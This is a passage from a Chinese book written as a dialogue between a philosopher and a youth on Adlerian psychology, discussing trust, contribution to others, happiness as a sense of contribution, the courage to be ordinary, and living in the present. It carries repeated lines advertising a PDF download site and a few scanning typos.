那一定会导致“他者即敌人”的生活方式。不是这样吗?
哲人:你好像还没能理解信赖的目的。例如,假设你在恋爱关系中
怀疑“她可能不专一”。并且还积极寻找对方不专一的证据。你认为结果
会怎样呢?
青年:哎呀,这种事要看情况而定。
哲人:不,任何情况都会发现像山一样的不专一证据。
青年:啊?为什么?
哲人:对方无意的言行、与别人通电话时的语气、联系不上的时
间……如果用怀疑的眼光去看,所有的事情看上去都会成为“不专一的
证据”,哪怕事实并非如此。
青年:嗯。
哲人:你现在一味地担心“被背叛”,也只关注因此受到的伤痛。但
是,如果不敢去信赖别人,那最终就会与任何人都建立不了深厚的关
系。
see more please visit: https://homeofpdf.com
青年:哎呀,我明白您的意思。建立深厚关系是信赖的重大目标。
但是,害怕被别人背叛也是一种无法克服的事实吧?
哲人:如果关系浅,破裂时的痛苦就会小,但这种关系在生活中产
生的喜悦也小。只有拿出通过“他者信赖”进一步加深关系的勇气之后,
人际关系的喜悦才会增加,人生的喜悦也会随之增加。
青年:不对!先生又在岔开我的话。克服对背叛的恐惧感的勇气从
哪里来呢?
哲人:自我接纳。只要能够接受真实的自己并看清“自己能做到
的”和“自己做不到的”,也就可以理解背叛是他人的课题,继而也就不
难迈出迈向他者信赖的步伐了。
青年:您是说是否背叛是他人的课题,不是自己所能左右的事情?
要做到肯定性的达观?先生的主张总是忽视感情!遭到背叛时的怒气和
悲伤又该怎么办呢?
哲人:悲伤的时候尽管悲伤就可以。因为,正是想要逃避痛苦或悲
伤才不敢付渚行动,以至于与任何人都无法建立起深厚的关系。
请你这样想。我们可以相信也可以怀疑;并且,我们的目标是把别
人当作朋友。如此一来,是该选择信任还是怀疑,答案就非常明显了。
see more please visit: https://homeofpdf.com
工作的本质是对他人的贡献
青年:明白了。那么,假设我能够做到“自我接纳”,并且也能够做
到“他者信赖”。那我会因此有什么样的变化呢?
哲人:首先,真诚地接受不能交换的“这个我”,这就是自我接纳。
同时,对他人寄予无条件的信赖即他者信赖。
既能接纳自己又能信赖他人,这种情况下,对你来说的他人会是怎
样的存在呢?
青年:……是伙伴吗?
哲人:正是如此。对他人寄予信赖也就是把他人看成伙伴。正因为
是伙伴,所以才能够信赖。如果不是伙伴,也就做不到信赖。
并且,如果把他人看作伙伴,那你也就能够在所属的共同体中找到
自己的位置,继而也就能够获得“可以在这里”的归属感。
青年:也就是说,要想获得归属感就必须把他人看作伙伴,而要做
到视他人为伙伴就需要自我接纳和他者信赖。
哲人:是的,你理解得越来越快啦!并且,视他人为敌的人既做不
到自我接纳,也无法充分做到他者信赖。
青年:好吧。人的确都在寻找一种“可以在这里”的归属感,因此就
需要自我接纳和他者信赖。这一点我没有异议。
但是,仅凭把他人看作伙伴并给予信赖就可以获得归属感吗?
哲人:当然,共同体感觉并不是仅凭自我接纳和他者信赖就可以获
得的。这里还需要第三个关键词——“他者贡献”。
青年:他者贡献?
哲人:对作为伙伴的他人给予影响、作出贡献,这就是他者贡献。
青年:贡献也就是发扬自我牺牲精神为周围人效劳吧?
see more please visit: https://homeofpdf.com
哲人:他者贡献的意思并不是自我牺牲。相反,阿德勒把为他人牺
牲自己人生的人称作“过度适应社会的人”,并对此给予警示。
并且,请你想一想。我们只有在感觉到自己的存在或行为对共同体
有益的时候,也就是体会到“我对他人有用”的时候,才能切实感受到自
己的价值。是这样吧?
也就是说,他者贡献并不是舍弃“我”而为他人效劳,它反而是为了
能够体会到“我”的价值而采取的一种手段。
青年:贡献他人是为了自己?
哲人:是的,不需要自我牺牲。
青年:哎呀哎呀,您的论调越来越危险了吧?这可真是自掘坟墓
啊!为了满足“我”而去为他人效劳,这不正是伪善的定义吗?!所以我
才说您的主张全都是伪善!您的论调全都不可信!算了吧,先生!比起
满口道德谎言的善人,我宁愿相信那些忠实于自己欲望的恶徒!
哲人:言之过早了。你还没有真正理解共同体感觉。
青年:那么,关于先生主张的他者贡献,请您举个具体例子吧。
哲人:最容易理解的他者贡献就是工作——到社会上去工作或者做
家务。劳动并不是赚取金钱的手段,我们通过劳动来实现他者贡献、参
与共同体、体会“我对他人有用”,进而获得自己的存在价值。
青年:您是说工作的本质是对他人的贡献?
哲人:当然,赚钱也是一个重大要素。正如你之前查到的陀思妥耶
夫斯基所说的“被铸造的自由”一样。但是,有些富豪已经拥有了一生也
花不完的巨额财产,但他们中的多数人至今依然继续忙碌工作着。为什
么要工作呢?是因为无底的欲望吗?不是。这是为了他者贡献继而获
得“可以在这里的”归属感。获得巨额财富之后便致力于参加慈善活动的
富豪们,也为了能够体会自我价值、确认“可以在这里”的归属感而进行
着各种各样的活动。
青年:嗯,这也许是一个真理。但是……
see more please visit: https://homeofpdf.com
哲人:但是?
真诚接受不可交换的“这个我”的自我接纳;主张应该毫不怀疑人际
关系基础,从而做到无条件的他者信赖。对于青年来说,这两条都还可
以接受。但是,他对于他者贡献却不大明白。如果这种贡献是“为了他
人”,那就势必会是充满痛苦的自我牺牲。另一方面,如果这种贡献
是“为了自己”,那就是一种彻底的伪善。这一点必须得弄清楚。青年以
坚定的口吻开始辩论。
see more please visit: https://homeofpdf.com
年轻人也有胜过长者之处
青年:我承认工作有他者贡献的一面。但是,表面上是贡献他人,
但最终是为了自己。这种逻辑无论怎么想都是伪善。先生,您如何解释
这一点呢?
哲人:请你想象一下这种情况。在某个家庭里,晚饭结束之后,餐
桌上满是餐具。孩子们回了自己的房间里,丈夫坐在沙发上看电视。只
有妻子(我)在收拾。而且,家人都认为这是理所当然的,没有一个人
打算帮忙。如果按照常理考虑,这种情况下,妻子(我)就会产生“为
什么不来帮我?”或者“为什么只有我干?”之类的怨言。
但是,这吋候即使听不到家人的“谢谢”,也应该一边收拾餐具一边
想“我对家人有用”。我们应该思考的不是他人为我做了什么,而是我能
为他人做什么,并积极地加以实践。只要拥有了这种奉献精神,眼前的
现实就会带有截然不同的色彩。
事实上,此时如果非常焦躁地洗餐具,不仅自己不会觉得有趣,就
连家人也不愿靠近。另一方面,如果是一边愉快地哼着歌一边洗餐具,
孩子们也许会过来帮忙,或至少营造出一种容易帮忙的氛围。
青年:是啊,如果就这种情况来说也许如此。
哲人:那么,这里为什么会有奉献精神呢?这是因为能够把家人视
为“伙伴”。若非如此,肯定会产生“为什么只有我干?”或者“为什么大
家都不帮我?”之类的想法。
在视他人为“敌人”的状态下所作出的贡献也许是伪善的。但是,如
果他人是“伙伴”,所有的贡献也就不会是伪善了。你之所以一直纠结于
伪善这个词,那是因为还没能理解共同体感觉。
青年:嗯。
哲人:为了方便起见,前面我一直按照自我接纳、他者信赖、他者
贡献这种顺序来进行说明。但是,这三者是缺一不可的整体。
正因为接受了真实的自我——也就是“自我接纳”——才能够不惧背
叛地做到“他者信赖”;而且,正因为对他人给予无条件的信赖并能够视
see more please visit: https://homeofpdf.com
他人为自己的伙伴,才能够做到“他者贡献”;同时,正因为对他人有所
贡献,才能够体会到“我对他人有用”进而接受真实的自己,做到“自我
接纳”。
你前些天做的笔记还带着吗?
青年:啊,是那个关于阿德勒心理学所提出的目标的笔记吧。自那
天之后我就一直随身携带。在这里。
行为方面的目标:
①自立。
②与社会和谐共处。
支撑这种行为的心理方面的目标:
①“我有能力”的意识。
②“人人都是我的伙伴”的意识。
哲人:如果把这个笔记与刚才的话结合起来看,应该能够理解得更
加深刻。
也就是说,①所说的“自立”与“我有能力的意识”是关于自我接纳的
话题。另一方面,②所说的“与社会和谐共处”和“人人都是我的伙伴的
意识”则与他者信赖和他者贡献有关。
青年:……的确如此。人生的目标应该就是共同体感觉吧。但是,
这似乎需要一定的时间进行整理。
哲人:恐怕的确如此。阿德勒自己也说:“理解人并不容易。个体
心理学恐怕是所有心理学中最难学习和实践的一种心理学了。”
青年:就是这样!即使理解了理论,也很难实践!
哲人:甚至也有人说要想真正理解阿德勒心理学直至改变生活方
式,需要“相当于自身岁数一半的时间”。也就是说,如果40岁开始学的
话,需要20年也就是到60岁才能学会。20岁开始学的话,加上10年,得
see more please visit: https://homeofpdf.com
到30岁才能学会。
你还年轻,学得越早就越有可能早日改变。在能够早日改变这个意
义上,你比世上的长者们都要超前一步。为了改变自己创造一个新的世
界,在某种意义上你比我更超前。可以迷路也可以走偏,只要不再从属
于纵向关系,不畏惧惹人讨厌地自由前行就可以。如果所有人都能够认
为“年轻人更超前”的话,世界就会发生重大改变。
青年:我比先生更超前?
哲人:没错。处在同一地平线上,但比我更超前。
青年:哈哈,我还是第一次看到有人对与自己的孩子年龄差不过的
人说这样的话呢!
哲人:我希望更多的年轻人了解阿德勒思想,但同时也希望更多的
才者了解。因为无论在什么年龄,人都可以改变。
see more please visit: https://homeofpdf.com
“工作狂”是人生谎言
青年:明白了。我承认自己的确没有迈向自我接纳和他者信赖
的“勇气”。但是,这真的只是“我”的错吗?那些蛮不讲理地指责、攻击
我的人也有问题。
哲人:的确,世上并非全是好人,人际关系中也会遭遇到诸多不愉
快的事情。但是,在这里绝对不可以搞错这样一个事实:任何情况下都
只是攻击我的“那个人”有问题,而绝不是“大家”的错。
具有神经质生活方式的人常常使用“大家”“总是”或者“一切”之类的
词语。“大家都讨厌自己”“总是只有自己受损失”或者“一切都不对”等。
如果你常常说这种一般化的词语,那就需要注意了。
青年:……是啊,倒也有些道理。
哲人:阿德勒心理学认为这种生活方式是缺乏“人生和谐”的生活方
式,是一种只凭事物的一部分就来判断整体的生活方式。
青年:人生和谐?
哲人:犹太教教义中有这么一段话:“假如有10个人,其中势必会
有1个人无论遇到什么事都会批判你。他讨厌你,你也不喜欢他。而
且,10个人中也会有2个人能够成为与你互相接纳一切的好朋友。剩下
的7个人则两者都不是。”
这种时候,是关注讨厌你的那个人呢?还是聚焦于非常喜欢你的那
2个人?抑或是关注其他作为大多数的7个人?缺乏人生和谐的人就会只
关注讨厌自己的那个人来判断“世界”。
青年:嗯。
哲人:例如,以前我曾经参加过一个由口吃者和其家人参加的研讨
会。你周围有口吃的人吗?
青年:啊,我以前上学的初中也有一位口吃的学生。这一点无论是
本人还是家人都很痛苦吧。
see more please visit: https://homeofpdf.com
哲人:口吃为什么会很痛苦呢?阿德勒心理学认为苦恼于口吃的人
只关心“自己的说话方式”,从而感到自卑和痛苦。因此,自我意识就会
变得过剩,说话也会更加不顺畅。
青年:只关心自己的生活方式?
哲人:是的。笑话别人口吃的人只是极少数。用刚才的话说,充其
量就是“10人中的1人”。并且,采取这种嘲笑态度的愚蠢的人,我们可
以主动与其切断关系。但是,如果缺乏人生和谐,那就会只关注这1个
人,并认为“大家都嘲笑我”。
青年:但是,这也是人之常情吧!
哲人:我定期举办读书会,参加者中也有口吃者。他在朗读的时
候,语言有时会顿住。但没有一个人因此嘲笑他,大家都安静地、自然
地等着。这应该并不是只有在我的读书会上才能看到的光景。
人际关系不顺利既不是因为口吃也不是因为脸红恐惧症,真正的问
题在于无法做到自我接纳、他者信赖和他者贡献,却将焦点聚集到微不
足道的一个方面并企图以此来评价整个世界。这就是缺乏人生和谐的错
误生活方式。
青年:先生,难道您就对口吃者说如此严厉的话吗?
哲人:当然。最初他们也根本不认同,但3天的研讨会结束时,大
家都深深信服了。
青年:嗯。这的确是很有趣的讨论。但是,口吃者还是有些特殊的
例子。还有别的什么事例吗?
哲人:例如,那些是“工作狂”的人。这些人也缺乏人生和谐。
青年:工作狂也是?为什么?
哲人:口吃者是只看事物的一部分便来判断其整体。与此相对,工
作狂则是只关注人生特定的侧面。
也许他们会辩解说:“因为工作忙,所以无暇顾及家庭。”但是,这
其实是人生的谎言。只不过是以工作为借口来逃避其他责任。本来家
see more please visit: https://homeofpdf.com
务、育儿、交友或兴趣应该全都给予关心,阿德勒不认可任何一方面突
出的生活方式。
青年:啊我父亲就是这样的人。他是个工作狂,一心只想着在工作
上出成绩;并且,还以自己挣钱为理由来支配家人;是个非常封建的
人。
哲人:在某种意义上来说,这是一种不敢正视人生课题的生活方
式。“工作”并不仅仅是指在公司上班。家庭里的工作、育儿、对地域社
会的贡献、兴趣等,这一切都是“工作”,公司等只不过是一小部分而
已。只考虑公司的工作,那是一种缺乏人生和谐的生活方式。
青年:哎呀,正是如此!而且,被抚养的家人还根本不能反驳。对
于父亲“想想你是靠谁才吃上饭的吧!”这种近似暴力的语言也不能反
驳。
哲人:也许这样的父亲只能靠“行为标准”来认可自己的价值。认
为自己工作了这些时间、挣了足以养活家人的钱、也得到了社会的
认可,所以自己就是家里最有价值的人。
但是,任何人都有自己不再是生产者的时候。例如,上了年纪退休
之后不得不靠退休金或孩子们的赡养生活;或者虽然年轻但因为受伤或
生病而无法劳动。这种时候,只能用“行为标准”来接受自己的人总会受
到非常严重的打击。
青年:也就是那些拥有“工作就是一切”这种生活方式的人吧?
哲人:是的。是缺乏人生和谐的人。
青年:……如此想来,我似乎能够理解先生上次所说的“存在标
准”的意思了。我的确没有认真想过自己无法劳动、在“行为标准”上做
不了任何事时候的情况。
哲人:是按照“行为标准”来接受自己还是按照“存在标准”来接受自
己,这正是一个有关“获得幸福的勇气”的问题。
see more please visit: https://homeofpdf.com
从这一刻起,就能变得幸福
青年:……获得幸福的勇气。那么,我要问一下这种“勇气”的具体
状态。
哲人:是的,这是非常重要的一点。
青年:先生您说“一切烦恼皆是人际关系的烦恼”。反过来说就是,
我们的幸福也在人际关系之中。但是,我还无法理解这一点。
对人而言的幸福不过就是“良好的人际关系”吗?也就是说,我们的
生命就为了这么渺小的港湾或喜悦而存在吗?
哲人:我明白你的问题。我第一次听阿德勒心理学报告的时候,担
任讲师的奥斯卡?克里斯汀——他相当于阿德勒的徒孙——说了下面这
段话:“今天听了我的话的人,从此刻起就能够获得幸福。但是,做不
到这一点的人也将永远无法获得幸福。”
青年:什么呀!简直像是骗子的措辞!难道先生您就那样上当了
吗?
哲人:对人而言的幸福是什么?这是哲学一直探讨的主题之一。在
那之前,我以心理学只不过是哲学的一个领域为理由,几乎从未关心过
心理学整体。并且,作为哲学的门徒,关于“幸福是什么”这个问题,我
有着自己的见解。因此,不得不承认,听到克里斯汀的话时我产生了—
些排斥感。
但是,排斥的同时也有所思考。的确,我也曾深入考虑过幸福的本
质,而且一直在寻找答案。但是,关于“自己如何能够获得幸福”这个问
题,却未必认真思考过。我虽是哲学的门徒,但也许并不幸福。
青年:的确如此。先生与阿德勒心理学的邂逅是始于不协调感吧?
哲人:是的。
青年:那么,我来问问您。先生最终得到幸福了吗?
哲人:当然。
see more please visit: https://homeofpdf.com
青年:为什么您能够如此肯定呢?
哲人:对人而言,最大的不幸就是不喜欢自己。对于这种现实,阿
德勒准备了极其简单的回答——“我对共同体有益”或者“我对他人
有用”这种想法就足以让人体会到自己的价值。
青年:也就是您刚才提到的他者贡献吧?
哲人:是的。并且,还有非常重要的一点,那就是这里所说的他者
贡献也可以是看不见的贡献。
青年:可以是看不见的贡献?
哲人:判断你的贡献是否起作用的不是你,那是他人的课题,是你
无法干涉的问题。是否真正作出了贡献,从原理上根本无从了解。也就
是说,进行他者贡献时候的我们即使作出看不见的贡献,只要能够产
生“我对他人有用”的主观感觉即“贡献感”也可以。
青年:请等一下!这么说来,先生认为的幸福就是……
哲人:你已经察觉到了吧?也就是“幸福即贡献感”。这就是幸福的
定义。
青年:但、但是,这……
哲人:怎么啦?
青年:我不能认可这么简单的定义!先生的话我还记得,就是您以
前说过的“即使在行为标准上对谁都没有用,但从存在标准t考虑人人都
有用”那句话。如果是这样的话,那岂不是成了所有的人都幸福吗?!
哲人:所有的人都能够获得幸福。但是,这并不等于“所有的人都
幸福”,你必须首先理解这一点。无论是用行为标准还是存在标准,都
需要“感受”到自己对他人有用,也就是贡献感。
青年:那么,按照先生所言,我之所以不幸福是因为不能够获得贡
献感的缘故吧?
see more please visit: https://homeofpdf.com
哲人:没错。
青年:那么,如何才能获得贡献感呢?是劳动?还是志愿者活动?
哲人:例如,以前说起过认可欲求的问题。对于我所说的“不可以
寻求认可”这句话,你曾反驳说“认可欲求是普遍性的欲求”。
青年:是的,坦白说,我还并不能完全接受。
哲人:但是,人们寻求认可的理由现在已经很清楚了吧。人们想要
喜欢自己,想要感觉自己有价值,为此就想要拥有“我对他人有用”的贡
献感,而获得贡献感的常见手段就是寻求他人认可。
青年:您是说认可欲求是获取贡献感的手段?
哲人:有什么不对吗?
青年:不不,这可与您之前的话互相矛盾呀!寻求他人认可是获得
贡献感的手段吧?另一方面,先生又说“幸福就是贡献感”。如果是这
样,那岂不是满足了认可欲求就等于是获得幸福了吗?哈哈哈,先生在
这里又承认认可欲求的必要性了吧!
哲人:你忘了一个非常重要的问题。获得贡献感的手段一旦成
了“被他人认可”,最终就不得不按照他人的愿望来过自己的人生。通过
认可欲求获得的贡献感没有自由。但我们人类是在选择自由的同时也在
追求幸福。
青年:您是说幸福得以自由为前提?
哲人:是的。作为制度的自由因国家、时代或文化而有所差异。但
是,人际关系中的自由却具有普遍性。
青年:先生你是无论如何都不肯承认认可欲求吧?
哲人:如果能够真正拥有贡献感,那就不再需要他人的认可。因为
即使不特意去寻求他人的认可,也可以体会到“我对他人有用”。也就是
说,受认可欲求束缚的人不具有共同体感觉,还不能做到自我接纳、他
者信赖和他者贡献。
see more please visit: https://homeofpdf.com
青年:您是说,只要有了共同体感觉认可欲求就会消失吗?
哲人:会消失。不再需要他人的认可。
总结一下哲人的主张,就是这样:人只有在能够感觉到“我对别人
有用”的时候才能体会到自己的价值。但是,这种贡献也可以通过看不
见的形式实现。只要有“对别人有用”的主观感觉,即“贡献感”就可以。
并且,哲人还得出了这样的结论:幸福就是“贡献感”。的确,这也是真
理的一面。但是,幸福就仅止于此吗?我所期待的幸福并不是这样的!
see more please visit: https://homeofpdf.com
追求理想者面前的两条路
青年:但是,先生还没有回答我的问题。也许我的确可以通过他者
贡献喜欢上自己,也可以感受到自己的价值或者体会到自己并非是无价
值的存在。
但是,仅凭这一点人就会幸福吗?既然来到这个世上,如果不成就
一番名垂后世的大事业或者不证明我是“独一无二的我”的话,那就不可
能得到真正的幸福。
先生把一切都归于人际关系之中,根本不想提及自我实现式的幸
福!如果让我说的话,这就是一种逃避!
哲人:的确如此。我有一点不太明白,你所说的自我实现式的幸福
具体是指什么呢?
青年:这要因人而异。既有希望获得社会性成功的人,也有人拥有
更加个人性的目标,比如想要幵发出针对难治之症的特效药的研究者,
还有想要留下满意作品的艺术家。
哲人:那你呢?
青年:我还不太清楚自己在寻找什么以及将来想要干什么。但是,
我知道必须得做些事情。也不可以一直在大学图书馆里工作。只有在找
到值得自己毕生追逐的梦想并能够达成自我实现的时候,我才能体会到
真正的幸福。
实际上,我的父亲就一直埋头于工作,我也不知道这对他而言是不
是幸福,但至少在我的眼里,整天忙于工作的父亲并不幸福。我不想过
这样的生活。
哲人:明白了。关于这一点,也许以陷入问题行为的孩子为例进行
考虑会更容易理解。
青年:问题行为?
哲人:是的。首先,我们人类都具有“优越性追求”这种普遍性的欲
求。这一点我以前也说过吧?
see more please visit: https://homeofpdf.com
青年:是的。简单说就是指“希望进步”或者“追求理想状态”吧。
哲人:并且,大多数孩子在最初的阶段都是“希望特别优秀”。具体
说就是,听从父母的教导、行为中规中矩并竭尽全力地去学习、运动和
掌握技能。他们想要通过这样做来获得父母的认可。
但是,希望特别优秀的愿望无法实现的时候——例如学习或运动进
展不顺利的时候——就会转而“希望特别差劲”。
青年:为什么?
哲人:无论是希望特别优秀还是希望特别差劲,其目的都一样——
引起他人的关注、脱离“普通”状态、成为“特别的存在”。这就是他们的
目的。
青年:嗯。好吧,请您继续说!
哲人:本来,无论是学习还是运动,为了取得某些成果就需要付出
一定的努力。但是,“希望特别差劲”的孩子,也就是陷入问题行为的孩
子却可以在不付出这种健全努力的情况下也获得他人的关注。阿德勒心
理学称之为“廉价的优越性追求”。
例如,有些问题儿童在上课的时候通过扔橡皮或者是大声说话来妨
碍上课,如此一来肯定会引起同学或老师的注意,此刻其就可以成为特
别的存在。但这是“廉价的优越性追求”,是一种不健全的态度。
青年:也就是说,陷入不良行为的孩子也属于“廉价的优越性追
求”?
哲人:是这样的。所有的问题行为,例如逃学或者割腕以及未成年
人饮酒或吸烟等,一切都是“廉价的优越性追求”。你刚开始提到的那位
闭门不出的朋友也是一样。
孩子陷入问题行为的时候,父母或周围的大人们会加以训斥。被训
斥这件事对孩子来说无疑是一种压力。但是,即使是以被训斥这样一种
形式,孩子也还是希望得到父母的关注。无论什么形式都可以,就是想
成为特别的存在;无论怎么被训斥孩子都不停止问题行为,这在某种意
义上来说是理所当然的事情。
see more please visit: https://homeofpdf.com
青年:您是说正因为父母训斥,他们才不停止问题行为?
哲人:正是。因为父母或大人们通过训斥这种行为给予了他们关
注。
青年:嗯,但先生以前关于问题行为也说过“报复父母”这个目的
吧?这两者有什么关系吗?
哲人:是的。“复仇”和“廉价的优越性追求”很容易联系起来。这就
是在让对方烦恼的同时还想成为“特别的存在”。
see more please visit: https://homeofpdf.com
甘于平凡的勇气
青年:但是,不可能所有人都“特别优秀”吧?人都有擅长的和不擅
长的,都有差异。这个世上的天才毕竟只是少数,也不可能谁都成为优
等生。如果是这样的话,失败者都只能“特别差劲”了。
哲人:是的,正如苏格拉底的悖论“没有一个人想要作恶”。对于陷
入问题行为的孩子来说,就连暴行或盗窃也是一种“善”的存在。
青年:太荒谬了!这岂不是没有出口的理论吗?!
哲人:这就需要说到阿德勒心理学非常重视的“甘于平凡的勇气”。
青年:甘于平凡的勇气……?
哲人:为什么非要“特别”呢?这是因为无法接受“普通的自己”。所
以,在“特别优秀”的梦想受挫之后便非常极端地转为“特别差劲”。
但是,普通和平凡真的不好吗?有什么不好呢?实际上谁都是普通
人。没有必要纠结于这一点。
青年:……先生是要我甘于“普通”?
哲人:自我接纳就是其中的重要一步。如果你能够拥有“甘于平凡
的勇气”,那么对世界的看法也会截然不同。
青年:但、但是……
哲人:拒绝普通的你也许是把“普通”理解成了“无能”吧。普通并不
等于无能,我们根本没必要特意炫耀自己的优越性。
青年:不,我承认追求“特别优秀”有一定的危险性。但是,真的有
必要选择“普通”吗?平平凡凡地度过一生,不留下任何痕迹,也不被任
何人记住;即使这样庸庸碌碌地度过一生,也必须要做到自我满足吗?
我可以非常认真地说这样的人生我现在就可以舍弃!
哲人:你是无论如何都想要“特别”吧?
see more please visit: https://homeofpdf.com
青年:不对!先生所说的甘于“普通”其实就是肯定懒惰的自己!认
为自己反正就是这样了。我坚决否定这种懒惰的生活方式!
例如拿破仑或者亚历山大大帝,还有爱因斯坦或马丁?路德?金,
以及先生非常喜欢的苏格拉底和柏拉图,您认为他们也甘于“平凡”吗?
绝不可能!他们肯定是怀着远大的理想和目标在生活吧!按照先生的道
理来讲,一个拿破仑也不会产生!你是在扼杀天才!
哲人:你是说人生需要远大的目标?
青年:那是当然!
甘于平凡的勇气。这是多么可怕的语言。阿德勒还有这个哲人难道
要我选择那样的道路吗?难道要和大多数人一样过完庸庸碌碌的一生
吗?当然,我并不是天才,也许我只能选择“普通”,也许我只能接受平
庸的我、置身于平庸的日常生活。但是,我要奋斗。无论结果如何,我
都要和这个男人争论到最后,也许我们的辩论现在已经接近核心。青年
的心跳越来越快,紧紧握着的手心在这个季节里竟有汗水渗出。
see more please visit: https://homeofpdf.com
人生是一连串的刹那
哲人:明白了。你所说的远大目标就好比登山时以山顶为目标。
青年:是的,就是这样。人人都会以山顶为目标吧!
哲人:但是,假如人生是为了到达山顶的登山,那么人生的大半时
光就都是在“路上”。也就是说,“真正的人生”始于登上山顶的时候,那
之前的路程都是“临时的我”走过的“临时的人生”。
青年:可以这么说。现在的我正是在路上的人。
哲人:那么,假如你没能到达山顶的话,你的人生会如何呢?有时
候会因为事故或疾病而无法到达山顶,登山活动本身也很有可能以失败
告终。“在路上”“临时的我”,还有“临时的人生”,人生就此中断。这种
情况下的人生又是什么呢?
青年:那……那是自作自受!我没有能力、没有足以登上山顶的体
力、没有好的运气、没有足够的实力,仅此而已!是的,我也做好了接
受这种现实的准备!
哲人:阿德勒心理学的立场与此不同。把人生当作登山的人其实是
把自己的人生看成了一条“线”。自降生人世那-瞬间便己经开始的线,
画着大大小小形形色色的曲线到达顶点,最终迎来“死”这一终点。但
是,这种把人生理解为故事的想法与弗洛伊德式的原因论紧密相关,而
且会把人生的大半时光当作“在路上”。
青年:那么,您认为人生是什么样的呢?
哲人:请不要把人生理解为一条线,而要理解成点的连续。
如果拿放大镜去看用粉笔画的实线,你会发现原本以为的线其实也
是一些连续的小点。看似像线一样的人生其实也是点的连续,也就是说
人生是连续的刹那。
青年:连续的刹那?
哲人:是的,是“现在”这一刹那的连续。我们只能活在“此时此
see more please visit: https://homeofpdf.com
刻”,我们的人生只存在于刹那之中。
不了解这一点的大人们总是想要强迫年轻人过“线”一样的人生。在
他们看来,上好大学、进好企业、拥有稳定的家庭,这样的轨道才是幸
福的人生。但是,人生不可能是一条线。
青年:您是说没必要进行人朱规划或者职业规划?
哲人:如果人生是一条线,那么人生规划就有可能。但是,我们的
人生只是点的连续。计划式的人生不是有没有必要,而是根本不可能。
青年:哎呀,太无聊了!多么愚蠢的想法!
see more please visit: https://homeofpdf.com
舞动人生
哲人:哪里有问题呢?
青年:你的主张不仅否定了人生的计划性,甚至还否定了努力!例
如,自幼便梦想着成为小提琴手而拼命练习的人,最终进入了梦寐以求
的乐团;或者是拼命学习通过司法考试的人最终成了律师。这些都是没
有目标和计划的人绝对不可能实现的人生!
哲人:也就是他们以山顶为目标默默前行?
青年:当然!
哲人:果真如此吗?也许是这些人在人生的每一个瞬间都活在“此
时此刻”吧。也就是说,不是活在“在路上”的人生之中,而是时常活
在“此时此刻”。
例如,梦想着成为小提琴手的人也许总是只看见眼前的乐曲,将注
意力集中于这一首曲子、这一个小节、这一个音上面。
青年:这样能够实现目标吗?
哲人:请你这样想。人生就像是在每一个瞬间不停旋转起舞的连续
的刹那。并且,暮然四顾时常常会惊觉:“已经来到这里了吗?”
在跳着小提琴之舞的人中可能有人成了专业小提琴手,在跳着司法
考试之舞的人中也许有人成为律师,或许还有人跳着写作之舞成了作
家。当然,也有可能有着截然不同的结果。但是,所有的人生都不是终
结“在路上”,只要跳着舞的“此时此刻”充实就已经足够。
青年:只要跳好当下就可以?
哲人:是的。在舞蹈中,跳舞本身就是目的,最终会跳到哪里谁都
不知道。当然,作为跳的结果最终会到达某个地方。因为一直在跳动所
以不会停在原地。但是,并不存在目的地。
青年:怎么能有不存在目的地的人生呢?!谁会承认这种游移不
定、随风飘摇的人生呢?!
see more please visit: https://homeofpdf.com
哲人:你所说的想要到达目的地的人生可以称为“潜在性的人生”。
与此相对,我所说的像跳舞一样的人生则可以称为“现实性的人生”。
青年:潜在性和现实性?
哲人:我们可以引用亚里士多德的说明。一般性的运动——我们把
这叫作移动——有起点和终点。从起点到终点的运动最好是尽可能地高
效而快速。如果能够搭乘特快列车的话,那就没有必要乘坐各站都停的
普通列车。
青年:也就是说,如果有了想要成为律师这个目的地,那就最好是
尽早尽快地到达。
哲人:是的。并且,到达目的地之前的路程在还没有到达目的地这
个意义上来讲并不完整。这就是潜在性的人生。
青年:也就是半道?
哲人:是这样。另一方面,现实性运动是一种“当下做了当下即完
成”的运动。
青年:当下做了当下即完成?
哲人:用别的话说也可以理解为“把过程本身也看作结果的运动”,
跳舞是如此,旅行等本身也是如此。
青年:啊,我有些乱了……旅行究竟是怎么回事呢?
哲人:旅行的目的是什么?例如你要去埃及旅行。这时候你会想尽
早尽快地到达胡夫金字塔,然后再以最短的距离返回吗?
如果是这样的话,那就不能称为旅行。跨出家门的那一瞬间,“旅
行”已经开始,朝着目的地出发途中的每一个瞬间都是旅行。当然,即
使因为某些事情而没能够到达金字塔,那也并非没有旅行。这就是现实
性的人生。
青年:哎呀,我还是不明白啊。您刚才否定了以山顶为目标的价值
观吧?
see more please visit: https://homeofpdf.com
那如果把这种现实性的人生比喻为登山又会如何呢?
哲人:如果登山的目的是登上山顶,那它就是潜在性的行为。说得
极端点儿,乘坐电梯登上山顶,逗留5分钟,然后再乘电梯回来也可
以。当然,如果没能到达山顶的话,其登山活动就等于失败。
但是,如果登山的目的不是登顶而是登山本身,那就可以说是现实
性的活动。最终能不能登上山顶都没有关系。
青年:这种论调根本不成立!先生,你完全陷入了自我矛盾之中。
在你于世人面前丢脸之前,让我先来揭穿你吧!
哲人:噢,那太好了!
see more please visit: https://homeofpdf.com
最重要的是“此时此刻”
青年:先生在否定原因论的时候也否定了关注过去。您说过去并不
存在,过去没有意义。这一点我同意。过去的确无法改变,能改变的只
有未来。
但是,现在通过说明现实性生活方式又否定了计划性,也就是否定
了按照自己的意思改变未来。
您既否定往后看,同时也否定朝前看。这简直就是说要在没路的地
方盲目前行呀!
哲人:你是说既看不见后面也看不到前面?
青年:看不见!
哲人:这不是很自然的事情吗?究竟哪里有问题呢?
青年:您、您说什么?!
哲人:请你想象一下自己站在剧场舞台上的样子。此时,如果整个
会场都开着灯,那就可以看到观众席的最里边。但是,如果强烈的聚光
灯打向自己,那就连最前排也看不见。
我们的人生也完全一样。正因为把模糊而微弱的光打向人生整体,
所以才能够看到过去和未来;不,是感觉能够看得到。但是,如果把强
烈的聚光灯对准“此时此刻”,那就会既看不到过去也看不到未来。
青年:强烈的聚光灯?
哲人:是的。我们应该更加认真地过好“此时此刻”。如果感觉能够
看得到过去也能预测到未来,那就证明你没有认真地活在“此时此刻”,
而是生活在模糊而微弱的光中。
人生是连续的刹那,根本不存在过去和未来。你是想要通过关注过
去或未来为自己寻找免罪符。过去发生了什么与你的“此时此刻”没有任
何关系,未来会如何也不是“此时此刻”要考虑的问题。假如认真地活
在“此时此刻”,那就根木不会说出那样的话。
see more please visit: https://homeofpdf.com
青年:但、但是……
哲人:如果站在弗洛伊德式原因论的立场上,那就会把人生理解为
基于因果律的一个长故事。何时何地出生、度过了什么样的童年时代、
从什么样的学校毕业、进了什么样的公司,正是这些因素决定了现在的
